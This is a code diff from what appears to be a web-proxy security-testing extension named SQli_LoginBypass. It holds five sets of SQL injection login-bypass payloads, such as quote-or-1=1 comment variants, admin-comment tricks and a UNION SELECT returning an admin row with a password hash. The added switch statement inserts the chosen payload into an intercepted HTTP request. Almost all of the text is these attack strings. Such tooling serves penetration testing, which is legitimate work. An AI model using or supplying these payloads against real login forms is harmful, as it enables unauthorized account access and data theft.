@@ -21,7 +21,7 @@ public class SQli_LoginBypass extends JMenu {
2121 public String [] Login_Menu = {"Set 1" ,"Set 2" ,"Set 3" ,"Set 4" ,"Set 5" };
2222 public String LoginMenuItems [][] = {
2323 {"' or ''='" , "' or 1='1" , "' or '1'='1" , "' or ' 1=1" , "' or 1=1--" , "' or 1=1#" , "' or 1=1/*" , "') or '1'='1--" , "') or ('1'='1--" , "' or 1=1)#" },
24- {"' or '1?='1" , "' or 'x'='x" , "' or 0=0 –" , "or 0=0 –" , "' or 0=0 #" , "or 0=0 #" , "' or 'x'='x" , "' ) or ('x'='x" , "' or 1=1–" , "' or a=a–" },
24+ {"' or '1?='1" , "' or 'x'='x" , "' or 0=0 –" , "or 0=0 –" , "' or 0=0 #" , "or 0=0 #" , "') or ('x'='x" , "' or 1=1–" , "' or a=a–" },
2525 {"') or ('a'='a" , "hi' or 1=1 –" , "'or'1=1?" , "'-'" , "' '" , "'&'" , "'^'" , "'*'" , "' or ''-'" , "' or '' '" },
2626 {"' or ''&'" , "' or ''^'" , "' or ''*'" , "or true--" , "' or true--" , "') or ('x')=('x" , "')) or (('x'))=(('x" , "admin' --" , "admin' #" , "admin'/*" },
2727 {"admin' or '1'='1" , "admin' or '1'='1'--" , "admin' or '1'='1'#" , "admin' or '1'='1'/*" , "admin'or 1=1 or ''='" , "admin') or ('1'='1" , "admin') or ('1'='1'/*" , "1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055" },
@@ -57,14 +57,155 @@ public void actionPerformed(ActionEvent e) {
5757 String action = e .getActionCommand ();
5858 byte [] newRequest = do_loginBypass (request , selectString , action , selectedIndex );
5959 req .setRequest (newRequest );
60- JOptionPane .showMessageDialog (null , action );
6160 }
6261
6362 public byte [] do_loginBypass (byte [] request , String selectedString , String action , int [] selectedIndex ){
64- // swtich(action){
65- // case " a":
66- // break;
67- // }
63+ switch (action ){
64+ case "' or ''='" :
65+ selectedString = "' or ''='" ;
66+ break ;
67+ case "' or 1='1" :
68+ selectedString = "' or 1='1" ;
69+ break ;
70+ case "' or '1'='1" :
71+ selectedString = "' or '1'='1" ;
72+ break ;
73+ case "' or ' 1=1" :
74+ selectedString = "' or ' 1=1" ;
75+ break ;
76+ case "' or 1=1--" :
77+ selectedString = "' or 1=1--" ;
78+ break ;
79+ case "' or 1=1#" :
80+ selectedString = "' or 1=1#" ;
81+ break ;
82+ case "' or 1=1/*" :
83+ selectedString = "' or 1=1/*" ;
84+ break ;
85+ case "') or '1'='1--" :
86+ selectedString = "') or '1'='1--" ;
87+ break ;
88+ case "') or ('1'='1--" :
89+ selectedString = "') or ('1'='1--" ;
90+ break ;
91+ case "' or 1=1)#" :
92+ selectedString = "' or 1=1)#" ;
93+ break ;
94+ case "' or '1?='1" :
95+ selectedString = "' or '1?='1" ;
96+ break ;
97+ case "' or 'x'='x" :
98+ selectedString = "' or 'x'='x" ;
99+ break ;
100+ case "' or 0=0 –" :
101+ selectedString = "' or 0=0 –" ;
102+ break ;
103+ case "or 0=0 –" :
104+ selectedString = "or 0=0 –" ;
105+ break ;
106+ case "' or 0=0 #" :
107+ selectedString = "' or 0=0 #" ;
108+ break ;
109+ case "or 0=0 #" :
110+ selectedString = "or 0=0 #" ;
111+ break ;
112+ case "') or ('x'='x" :
113+ selectedString = "') or ('x'='x" ;
114+ break ;
115+ case "' or 1=1–" :
116+ selectedString = "' or 1=1–" ;
117+ break ;
118+ case "' or a=a–" :
119+ selectedString = "' or a=a–" ;
120+ break ;
121+ case "') or ('a'='a" :
122+ selectedString = "') or ('a'='a" ;
123+ break ;
124+ case "hi' or 1=1 –" :
125+ selectedString = "hi' or 1=1 –" ;
126+ break ;
127+ case "'or'1=1?" :
128+ selectedString = "'or'1=1?" ;
129+ break ;
130+ case "'-'" :
131+ selectedString = "'-'" ;
132+ break ;
133+ case "' '" :
134+ selectedString = "' '" ;
135+ break ;
136+ case "'&'" :
137+ selectedString = "'&'" ;
138+ break ;
139+ case "'^'" :
140+ selectedString = "'^'" ;
141+ break ;
142+ case "'*'" :
143+ selectedString = "'*'" ;
144+ break ;
145+ case "' or ''-'" :
146+ selectedString = "' or ''-'" ;
147+ break ;
148+ case "' or '' '" :
149+ selectedString = "' or '' '" ;
150+ break ;
151+ case "' or ''&'" :
152+ selectedString = "' or ''&'" ;
153+ break ;
154+ case "' or ''^'" :
155+ selectedString = "' or ''^'" ;
156+ break ;
157+ case "' or ''*'" :
158+ selectedString = "' or ''*'" ;
159+ break ;
160+ case "or true--" :
161+ selectedString = "or true--" ;
162+ break ;
163+ case "' or true--" :
164+ selectedString = "' or true--" ;
165+ break ;
166+ case "') or ('x')=('x" :
167+ selectedString = "') or ('x')=('x" ;
168+ break ;
169+ case "')) or (('x'))=(('x" :
170+ selectedString = "')) or (('x'))=(('x" ;
171+ break ;
172+ case "admin' --" :
173+ selectedString = "admin' --" ;
174+ break ;
175+ case "admin' #" :
176+ selectedString = "admin' #" ;
177+ break ;
178+ case "admin'/*" :
179+ selectedString = "admin'/*" ;
180+ break ;
181+ case "admin' or '1'='1" :
182+ selectedString = "admin' or '1'='1" ;
183+ break ;
184+ case "admin' or '1'='1'--" :
185+ selectedString = "admin' or '1'='1'--" ;
186+ break ;
187+ case "admin' or '1'='1'#" :
188+ selectedString = "admin' or '1'='1'#" ;
189+ break ;
190+ case "admin' or '1'='1'/*" :
191+ selectedString = "admin' or '1'='1'/*" ;
192+ break ;
193+ case "admin'or 1=1 or ''='" :
194+ selectedString = "admin'or 1=1 or ''='" ;
195+ break ;
196+ case "admin') or ('1'='1" :
197+ selectedString = "admin') or ('1'='1" ;
198+ break ;
199+ case "admin') or ('1'='1'/*" :
200+ selectedString = "admin') or ('1'='1'/*" ;
201+ break ;
202+ case "1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055" :
203+ selectedString = "1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055" ;
204+ break ;
205+ default :
206+ selectedString = selectedString ;
207+ }
208+ selectedString = selectedString .replace (" " , "+" );
68209 return Methods .do_modify_request (request , selectedIndex , selectedString );
69210 }
70211
0 commit comments